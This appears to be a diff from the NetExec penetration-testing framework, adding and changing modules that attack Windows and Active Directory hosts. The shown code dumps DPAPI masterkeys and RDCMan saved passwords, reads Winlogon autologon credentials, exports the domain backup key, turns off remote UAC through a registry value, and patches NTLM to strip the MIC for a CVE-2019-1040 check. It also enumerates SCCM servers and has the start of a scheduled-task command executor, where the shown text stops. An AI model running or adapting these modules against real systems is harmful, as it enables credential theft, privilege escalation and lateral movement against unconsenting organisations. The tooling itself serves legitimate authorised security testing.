lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=domain,
domain=connection.domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=use_kcache,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = None
try:
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
@@ -121,17 +55,17 @@ class NXCModule:
if rdcman_file is None:
continue
for rdg_cred in rdcman_file.rdg_creds:
if rdg_cred.type in ["cred", "logon", "server"]:
log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
for rdgfile in rdgfiles:
if rdgfile is None:
continue
for rdg_cred in rdgfile.rdg_creds:
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
if rdg_cred.type == "server":
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
+5 -3
View File
@@ -83,7 +83,7 @@ class NXCModule:
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
if "ram" in self.action:
# Nt version under 6 not support RAM.
try:
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
wmi_rdp._rdp_WMI__dcom.disconnect()
wmi_rdp._RdpWmi__dcom.disconnect()
class RdpSmb:
@@ -218,6 +218,7 @@ class RdpWmi:
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.__doKerberos = connection.kerberos
self.__kdcHost = connection.kdcHost
self.__remoteHost = connection.host
self.__aesKey = connection.aesKey
self.__timeout = timeout
@@ -233,11 +234,12 @@ class RdpWmi:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
+39
View File
@@ -0,0 +1,39 @@
import pylnk3
from io import BytesIO
class NXCModule:
# Get a list of recently modified files via LNK's stored in AppData\Roaming\Microsoft\Windows\Recent
# Module by @Defte_
name = "recent_files"
description = "Extracts recently modified files"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
def options(self, context, module_options):
"""No options"""
def on_admin_login(self, context, connection):
lnks = []
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
context.log.highlight(f"C:\\{directory.get_longname()}")
recent_files_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"
for file in connection.conn.listPath("C$", f"{recent_files_dir}\\*"):
file_path = f"{recent_files_dir}{file.get_longname()}"
if file.get_longname() not in self.false_positive and not file.is_directory():
file_path = f"{recent_files_dir}{file.get_longname()}"
try:
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
lnk = pylnk3.parse(buf).path.strip()
if lnk and lnk not in lnks:
context.log.highlight(f"\t{lnk}")
lnks.append(lnk)
except Exception as e:
# Sometimes PyLnk3 can't parse the lnk file...
context.log.debug(f"Couldn't open {file_path} because of {e}")
+46
View File
@@ -0,0 +1,46 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
r"""
WinLogon AutoLogon: extract the credential from the following registry hive
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Module by @pentest_swissky
"""
name = "reg-winlogon"
description = "Collect autologon credential stored in the registry"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
)
keyHandle = ans["phkResult"]
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
for reg_key in reg_keys:
try:
dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
context.log.highlight(f"{reg_key}: {reg_value}")
except Exception:
context.log.highlight(f"{reg_key}:")
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
remoteOps.finish()
+65
View File
@@ -0,0 +1,65 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
"""Module by @Defte_"""
name = "remote-uac"
description = "Enable or disable remote UAC"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
"""
Enables UAC (prevent non RID500 account to get high priv token remotely)
Disables UAC (allow non RID500 account to get high priv token remotely)
ACTION: "enable" or "disable" (required)
"""
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
return
if module_options["ACTION"].lower() not in ["enable", "disable"]:
context.log.fail("ACTION must be either enable, disable or query")
return
self.action = module_options["ACTION"].lower()
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"]
# Checks if the key already exists or not
try:
rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
except Exception as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it")
ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
# Disable remote UAC
if self.action == "disable":
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1)
context.log.highlight("Remote UAC disabled")
# Enable remote UAC
if self.action == "enable":
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0)
context.log.highlight("Remote UAC enabled")
except Exception as e:
context.log.debug(f"Error {e}")
finally:
remoteOps.finish()
+192
View File
@@ -0,0 +1,192 @@
# Original Author:
# Dirk-jan Mollema (@_dirkjan)
# dlive (@D1iv3)
#
# Refernece:
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
# - https://github.com/fox-it/cve-2019-1040-scanner
# - https://github.com/Dliv3/cve-2019-1040-scanner
#
# Modify by:
# XiaoliChan (@Memory_before)
import calendar
import struct
import time
import random
import string
from impacket import ntlm
from impacket import nt_errors
from impacket.smbconnection import SessionError
class NXCModule:
name = "remove-mic"
description = "Check if host vulnerable to CVE-2019-1040"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
"""PORT Port to check (defaults to 445)"""
self.port = 445
if "PORT" in module_options:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2
ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3
try:
connection.conn.reconnect()
except SessionError as e:
if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER:
context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)")
else:
context.log.info("Unexpected Exception while authentication")
else:
context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/")
class Modify_Func:
# Slightly modified version of impackets computeResponseNTLMv2
def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="",
use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
responseServerVersion = b"\x01"
hiResponseServerVersion = b"\x01"
responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash)
av_pairs = ntlm.AV_PAIRS(serverName)
# In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will
# get access denied
# This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation
# level
av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1]
if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None:
aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1]
else:
aTime = struct.pack("<q", (116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))
av_pairs[ntlm.NTLMSSP_AV_TIME] = aTime
av_pairs[ntlm.NTLMSSP_AV_FLAGS] = b"\x02" + b"\x00" * 3
serverName = av_pairs.getData()
if len(channel_binding_value) > 0:
av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value
# Format according to:
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b
temp = responseServerVersion # RespType 1 byte
temp += hiResponseServerVersion # HiRespType 1 byte
temp += b"\x00" * 2 # Reserved1 2 bytes
temp += b"\x00" * 4 # Reserved2 4 bytes
temp += aTime # TimeStamp 8 bytes
temp += clientChallenge # ChallengeFromClient 8 bytes
temp += b"\x00" * 4 # Reserved 4 bytes
temp += av_pairs.getData() # AvPairs variable
ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp)
ntChallengeResponse = ntProofStr + temp
lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge
sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr)
if user == "" and password == "":
# Special case for anonymous authentication
ntChallengeResponse = ""
lmChallengeResponse = ""
return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
# Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
if password is None:
password = ""
# Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
# international characters.
import sys
encoding = sys.getfilesystemencoding()
if encoding is not None:
try:
user.encode("utf-16le")
except Exception:
user = user.decode(encoding)
try:
password.encode("utf-16le")
except Exception:
password = password.decode(encoding)
try:
domain.encode("utf-16le")
except Exception:
domain = user.decode(encoding)
ntlmChallenge = ntlm.NTLMAuthChallenge(type2)
# Let's start with the original flags sent in the type1 message
responseFlags = type1["flags"]
# Token received and parsed. Depending on the authentication
# method we will create a valid ChallengeResponse
ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"])
clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)]))
serverName = ntlmChallenge["TargetInfoFields"]
ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"],
clientChallenge, serverName, domain, user, password,
lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value)
# Let's check the return flags
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
# No extended session security, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0:
# No support for 128 key len, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
# No key exchange supported, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
# drop the mic need to unset these flags
# https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN
keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password,
lmhash, nthash, use_ntlmv2)
# Special case for anonymous login
if user == "" and password == "" and lmhash == "" and nthash == "":
keyExchangeKey = b"\x00" * 16
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)]))
encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
else:
encryptedRandomSessionKey = None
exportedSessionKey = keyExchangeKey
ntlmChallengeResponse["flags"] = responseFlags
ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le")
ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le")
if lmResponse == "":
ntlmChallengeResponse["lanman"] = b"\x00"
else:
ntlmChallengeResponse["lanman"] = lmResponse
ntlmChallengeResponse["ntlm"] = ntResponse
if encryptedRandomSessionKey is not None:
ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey
return ntlmChallengeResponse, exportedSessionKey
+37 -7
View File
@@ -1,5 +1,10 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5.rrp import DCERPCSessionError
class NXCModule:
# Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation
name = "runasppl"
description = "Check if the registry value RunAsPPL is set or not"
supported_protocols = ["smb"]
@@ -14,10 +19,35 @@ class NXCModule:
""""""
def on_admin_login(self, context, connection):
command = "reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
context.log.display("Executing command")
p = connection.execute(command, True)
if "The system was unable to find the specified registry key or value" in p:
context.log.debug("Unable to find RunAsPPL Registry Key")
else:
context.log.highlight(p)
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
)
key_handle = ans["phkResult"]
_ = data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"RunAsPPL\x00",
)
except rrp.DCERPCSessionError as e:
context.log.debug(f"RunAsPPL error {e} on host {connection.host}")
if data is None or data not in [1, 2]:
context.log.highlight("RunAsPPL disabled")
else:
context.log.highlight("RunAsPPL enabled")
except DCERPCSessionError as e:
context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}")
finally:
remote_ops.finish()
+288
View File
@@ -0,0 +1,288 @@
from impacket.ldap import ldap, ldaptypes, ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPSearchError
from ldap3.protocol.microsoft import security_descriptor_control
from nxc.parsers.ldap_results import parse_result_attributes
SAM_USER_OBJECT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_GROUP_OBJECT = 0x10000000
LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
class NXCModule:
"""
Implementation of the SCCM RECON-1 technique to find SCCM related objects in Active Directory.
See:
https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
https://github.com/garrettfoster13/sccmhunter
Module by @NeffIsBack
"""
name = "sccm"
description = "Find a SCCM infrastructure in the Active Directory"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.sccm_site_servers = [] # List of dns host names of the SCCM site servers
self.sccm_sites = {} # List of SCCM sites with their management points (Sorted by site code)
self.base_dn = ""
self.recursive_resolve = False
self.user_objects = []
self.computer_objects = []
self.group_objects = {}
def options(self, context, module_options):
"""
BASE_DN The base domain name for the LDAP query
REC_RESOLVE Resolve members of groups recursively. Default: False
"""
if module_options and "BASE_DN" in module_options:
self.base_dn = module_options["BASE_DN"]
if module_options and "REC_RESOLVE" in module_options:
self.recursive_resolve = bool(module_options["REC_RESOLVE"])
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
self.connection = connection
self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn
self.sc = ldap.SimplePagedResultsControl()
# Basic SCCM enumeration
try:
# Search for SCCM root object
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
controls = security_descriptor_control(sdflags=0x04)
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldap_connection.search(
searchFilter=search_filter,
attributes=["nTSecurityDescriptor"],
sizeLimit=0,
searchControls=controls,
searchBase=self.base_dn,
)
# There should be only one result
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry):
self.context.log.success(f"Found SCCM object: {item[0]}")
self.get_site_servers(item)
self.get_sites()
self.get_management_points()
# Print results
self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:")
for site in self.sccm_site_servers:
ip = self.connection.resolver(site)
self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}")
self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:")
for site in self.sccm_sites:
self.context.log.highlight(f"{self.sccm_sites[site]['cn']}")
self.context.log.highlight(f" Site Code: {site.rjust(14)}")
self.context.log.highlight(f" Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}")
# If there aren't Management Points, it's a Central Administration Site
if self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CAS: {' ':<17}{False}")
self.context.log.highlight(" Management Points:")
for mp in self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CN:{' ':<12}{mp['cn']}")
self.context.log.highlight(f" DNS Hostname:{' ':<2}{mp['dNSHostName']}")
self.context.log.highlight(f" IP Address:{' ':<4}{mp['IPAddress']}")
self.context.log.highlight(f" Default MP:{' ':<4}{mp['mSSMSDefaultMP']}")
else:
self.context.log.highlight(f" CAS: {' ':<17}{True}")
self.context.log.highlight("")
except LDAPSearchError as e:
context.log.fail(f"Got unexpected exception: {e}")
# SCCM named objects enumeration
self.get_sccm_named_objects(context, connection)
if self.user_objects:
context.log.success(f"Found {len(self.user_objects)} SCCM related user objects:")
for user in self.user_objects:
context.log.highlight(user)
if self.computer_objects:
context.log.success(f"Found {len(self.computer_objects)} SCCM related computer objects:")
for computer in self.computer_objects:
context.log.highlight(computer)
if self.group_objects:
context.log.success(f"Found {len(self.group_objects)} SCCM related group objects:")
for group in self.group_objects:
context.log.highlight(self.group_objects[group]["sAMAccountName"])
for child in self.group_objects[group]["children"]:
if int(child["sAMAccountType"]) == SAM_USER_OBJECT:
context.log.highlight(f" {child['sAMAccountName']} -> User")
elif int(child["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
context.log.highlight(f" {child['sAMAccountName']} -> Computer")
elif int(child["sAMAccountType"]) == SAM_GROUP_OBJECT:
context.log.highlight(f" {child['sAMAccountName']} -> Group")
def get_sccm_named_objects(self, context, connection):
"""Enumerate users/groups/computers with "SCCM" in their name"""
# hippity hoppity your code is now my property, filter stolen from the awesome sccmhunter repository
# https://github.com/garrettfoster13/sccmhunter
try:
yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
context.log.display("Searching for SCCM related objects")
result = connection.ldap_connection.search(
searchFilter=yoinkers,
searchBase=self.base_dn,
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
)
result = parse_result_attributes(result)
for res in result:
if "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_USER_OBJECT:
self.user_objects.append(res["sAMAccountName"])
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
self.computer_objects.append(res["sAMAccountName"])
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_GROUP_OBJECT:
self.group_objects[res["distinguishedName"]] = {
"sAMAccountName": res["sAMAccountName"],
"children": [],
}
if self.recursive_resolve:
self.resolve_recursive(res["distinguishedName"])
except LDAPSearchError as e:
context.log.fail(f"Got unexpected exception: {e}")
def resolve_recursive(self, dn):
"""Recursively resolve members of a group."""
try:
self.context.log.debug(f"Resolving group members recursively for {dn}")
# Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
result = self.connection.ldap_connection.search(
searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
)
result = parse_result_attributes(result)
for res in result:
self.group_objects[dn]["children"].append({
"sAMAccountName": res["sAMAccountName"],
"distinguishedName": res["distinguishedName"],
"sAMAccountType": res["sAMAccountType"],
})
except LDAPSearchError as e:
self.context.log.error(f"Error resolving group members: {e}")
def get_management_points(self):
"""Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
try:
response = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSManagementPoint)",
attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
)
response_parsed = parse_result_attributes(response)
for mp in response_parsed:
ip = self.connection.resolver(mp["dNSHostName"])
self.sccm_sites[mp["mSSMSSiteCode"]]["ManagementPoints"].append({
"cn": mp["cn"],
"dNSHostName": mp["dNSHostName"],
"IPAddress": ip["host"] if ip else "-",
"mSSMSDefaultMP": mp["mSSMSDefaultMP"],
})
except LDAPSearchError as e:
self.context.log.error(f"Error searching for management points: {e}")
def get_sites(self):
"""Searches for all SCCM sites in the Active Directory, sorted by site code."""
try:
response = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSSite)",
attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
)
response_parsed = parse_result_attributes(response)
for site in response_parsed:
self.sccm_sites[site["mSSMSSiteCode"]] = {
"cn": site["cn"],
"AssignmentSiteCode": site["mSSMSAssignmentSiteCode"],
"ManagementPoints": []
}
except LDAPSearchError as e:
self.context.log.error(f"Error searching for sites: {e}")
def get_site_servers(self, item):
"""Extracts the site servers from the root SCCM object."""
raw_sec_descriptor = str(item[1][0][1][0]).encode("latin-1")
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=raw_sec_descriptor)
self.parse_dacl(principal_security_descriptor["Dacl"])
self.sccm_site_servers = set(self.sccm_site_servers) # Make list unique
def parse_dacl(self, dacl):
"""Parses a DACL and extracts the dns host names with full control over the SCCM object."""
self.context.log.debug("Parsing DACL")
for ace in dacl["Data"]:
self.parse_ace(ace)
def parse_ace(self, ace):
"""Parses an ACE and resolves the SID if the SID of the ACE has full control."""
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE"]:
ace = ace["Ace"]
sid = ace["Sid"].formatCanonical()
mask = ace["Mask"]
fullcontrol = 0xf01ff
if mask.hasPriv(fullcontrol):
self.resolve_SID(sid)
def resolve_SID(self, sid):
"""Tries to resolve a SID and add the dNSHostName to the sccm site list."""
try:
self.context.log.debug(f"Resolving SID: {sid}")
result = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
)
parsed_result = parse_result_attributes(result)
if not parsed_result:
return None
else:
parsed_result = parsed_result[0] # We only have one result as we always query a single SID
if int(parsed_result["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
self.context.log.debug(f"Found object with full control over SCCM object. SID: {sid}, dns_hostname: {parsed_result['dNSHostName']}")
self.sccm_site_servers.append(parsed_result["dNSHostName"])
elif int(parsed_result["sAMAccountType"]) == SAM_GROUP_OBJECT:
if isinstance(parsed_result["member"], list):
for member in parsed_result["member"]:
member_sid = self.dn_to_sid(member)
if member_sid:
self.resolve_SID(member_sid)
else: # Group has only one member
member_sid = self.dn_to_sid(parsed_result["member"])
if member_sid:
self.resolve_SID(member_sid)
except Exception as e:
self.context.log.debug(f"SID not found in LDAP: {sid}, {e}")
return ""
def dn_to_sid(self, dn) -> str:
"""Tries to resolve a DN to a SID."""
result = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter=f"(distinguishedName={dn})",
attributes=["sAMAccountName", "objectSid"],
)
# Extract the SID of the object
sid_raw = bytes(result[0][1][0][1].components[0])
return ldaptypes.LDAP_SID(data=sid_raw).formatCanonical()
+82 -40
View File
@@ -1,9 +1,11 @@
import contextlib
import os
from time import sleep
from datetime import datetime
from datetime import datetime, timedelta
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -14,17 +16,29 @@ class NXCModule:
"""
def options(self, context, module_options):
"""
r"""
CMD Command to execute
USER User to execute command as
TASK OPTIONAL: Set a name for the scheduled task name
FILE OPTIONAL: Set a name for the command output file
LOCATION OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
"""
self.cmd = self.user = self.time = None
